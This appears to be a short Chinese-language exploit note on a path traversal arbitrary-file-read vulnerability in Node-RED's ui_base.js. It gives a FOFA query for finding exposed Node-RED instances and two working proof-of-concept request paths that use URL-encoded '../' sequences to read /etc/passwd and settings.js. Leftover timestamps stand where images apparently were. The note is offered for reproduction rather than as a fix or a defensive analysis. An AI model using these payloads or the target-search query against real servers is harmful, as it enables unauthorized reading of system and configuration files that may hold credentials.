2022-05-17 17:43:20 +08:00
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# Node-RED ui_base 任意文件读取漏洞
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## 漏洞描述
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Node-RED 在/nodes/ui_base.js中，URL与'/ui_base/js/*'匹配，然后传递给path.join，
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缺乏对最终路径的验证会导致路径遍历漏洞，可以利用这个漏洞读取服务器上的敏感数据，比如settings.js
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## 漏洞影响
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```
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Node-RED
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```
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## FOFA
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```
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title="Node-RED"
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```
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## 漏洞复现
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访问页面
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2022-12-05 11:09:28 +08:00
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2022-05-17 17:43:20 +08:00
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验证POC
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```plain
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/ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
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/ui_base/js/..%2f..%2f..%2f..%2fsettings.js
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```
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2022-12-05 11:09:28 +08:00
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2022-05-17 17:43:20 +08:00
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2022-12-05 11:09:28 +08:00
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